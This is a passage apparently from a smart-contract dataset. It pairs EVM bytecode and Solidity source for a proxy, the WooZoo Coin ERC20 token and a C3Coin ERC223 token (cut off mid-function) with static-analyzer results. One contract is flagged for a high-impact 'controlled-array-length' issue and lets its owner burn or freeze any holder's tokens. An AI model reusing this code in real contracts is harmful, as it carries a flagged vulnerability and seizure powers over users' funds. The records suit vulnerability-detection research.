0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122022cc6eeb6c3362831fd9d62dc5847e66dfaf05a284d30f54c1a741bff685096b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,264
0xbf75ce90ab91b568d0dbb264ecf75ad7c347b6e8
// ---------------------------------------------------------------------------- // WooZoo Coin Contract // Name : WooZoo Coin // Symbol : WZC // Decimals : 9 // InitialSupply : 100,000,000 WZC // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract WooZooCoin is ERC20 { string public constant name = "WooZoo Coin"; string public constant symbol = "WZC"; uint8 public constant decimals = 9; uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105cd565b604080519115158252519081900360200190f35b6102586105e3565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105ea565b6102a86106d1565b6040805160ff9092168252519081900360200190f35b6102586106d6565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106e2565b6102fa610723565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610810565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108b9565b6040805192835260208301919091528051918290030190f35b61023c610932565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610942565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109dc565b6102fa610c8a565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d73565b6103f7610e1f565b604080516001600160a01b039092168252519081900360200190f35b61019b610e2e565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e50565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f4e565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f8a565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661105c565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611087565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112a4565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112bf565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b031661142e565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661144c565b6040518060400160405280600b8152602001600160a91b6a2bb7b7ad37b79021b7b4b70281525081565b60006105da3384846114a9565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106445760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106b55760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106be8461159b565b6106c98484846117be565b949350505050565b600981565b67016345785d8a000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105da91859061071e908663ffffffff61181016565b6114a9565b6003546001600160a01b031633146107745760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107d55760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108615760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108e057fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061091557fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109bb576001600160a01b038416600090815260056020526040902080546109b191908390811061099057fe5b9060005260206000209060020201600101548361181090919063ffffffff16565b9150600101610947565b506109d5816109c98561186d565b9063ffffffff61181016565b9392505050565b6003546001600160a01b03163314610a2d5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a9c5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610afe919083908110610ac557fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61181016565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b5257fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9d57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c5c576001600160a01b038216600090815260056020526040902080546000198101908110610bff57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3d57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c85906000198301611baf565b505050565b6003546001600160a01b03163314610cdb5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d325760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dc45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060038152602001600160e81b62575a430281525081565b6003546001600160a01b03163314610ea15760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610eaa8261186d565b811115610f015760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f0b8282611888565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105da91859061071e908663ffffffff61195216565b3360009081526004602052604081205460ff1615610ff25760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff16156110495760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6110523361159b565b6109d583836119b2565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110db5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0384166111395760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b60035461114e906001600160a01b031661186d565b8311156111a55760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111d0908463ffffffff61195216565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d1e833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113105760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161131a8461186d565b10156113705760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611399908363ffffffff61195216565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b0316331461149d5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114a6816119bf565b50565b6001600160a01b0383166114f157604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d846024913960400191505060405180910390fd5b6001600160a01b03821661153957604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cfc6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117ba576001600160a01b03821660009081526005602052604090208054429190839081106115e557fe5b906000526020600020906002020160000154116117b2576001600160a01b03821660009081526005602052604090208054611625919083908110610ac557fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061167957fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116c457fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611787576001600160a01b03821660009081526005602052604090208054600019810190811061172657fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061176457fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117b0906000198301611baf565b505b60010161159e565b5050565b60006117cb848484611a79565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461180691869161071e908663ffffffff61195216565b5060019392505050565b6000828201838110156109d55760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118d057604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d3e6021913960400191505060405180910390fd5b6002546118e3908263ffffffff61195216565b6002556001600160a01b03821660009081526020819052604090205461190f908263ffffffff61195216565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d1e833981519152929081900390910190a35050565b6000828211156119ac5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105da338484611a79565b6001600160a01b038116611a1d5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ac157604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d5f6025913960400191505060405180910390fd5b6001600160a01b038216611b0957604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cd96023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b32908263ffffffff61195216565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b67908263ffffffff61181016565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d1e83398151915292918290030190a3505050565b815481835581811115610c8557600083815260209020610c85916105e79160029182028101918502015b80821115611bf35760008082556001820155600201611bd9565b5090565b6001600160a01b038216611c555760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c68908263ffffffff61181016565b6002556001600160a01b038216600090815260208190526040902054611c94908263ffffffff61181016565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d1e8339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820d509cb9f62328cc8e582939d59feff30c9f3ba338bec4361a2e7f14fab169be40029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,265
0xeab9f0af0f3a857b664878cce1550091b5588ebc
pragma solidity ^0.4.9; /** * @title ERC223 * @dev Interface for ERC223 */ contract ERC223 { // functions function balanceOf(address _owner) external constant returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); // Getters function name() external constant returns (string _name); function symbol() external constant returns (string _symbol); function decimals() external constant returns (uint8 _decimals); function totalSupply() external constant returns (uint256 _totalSupply); // Events event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Approval(address indexed _owner, address indexed _spender, uint _value); event Burn(address indexed burner, uint256 value); bytes empty = hex"00000000"; // for compatibility } /** * @notice A contract will throw tokens if it does not inherit this * @title ERC223ReceivingContract * @dev Contract for ERC223 token fallback */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title C3Coin * @dev C3Coin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract C3Coin is ERC223, Ownable { using SafeMath for uint; string public name = "C3coin"; string public symbol = "CCC"; uint8 public decimals = 18; uint256 public totalSupply = 10e10 * 1e18; constructor() public { balances[msg.sender] = totalSupply; } mapping (address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowance; /** * @dev Getters */ // Function to access name of token . function name() external constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() external constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() external constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() external constant returns (uint256 _totalSupply) { return totalSupply; } /** * @dev Get balance of a token owner * @param _owner The address which one owns tokens */ function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } /** * @notice This function is modified for erc223 standard * @dev ERC20 transfer function added for backward compatibility. * @param _to Address of token receiver * @param _value Number of tokens to send */ function transfer(address _to, uint _value) external returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev ERC223 transfer function * @param _to Address of token receiver * @param _value Number of tokens to send * @param _data Data equivalent to tx.data from ethereum transaction */ function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function which is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value, _data); return true; } // function which is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 The amount of tokens to be transferred */ function transferFrom(address _from, 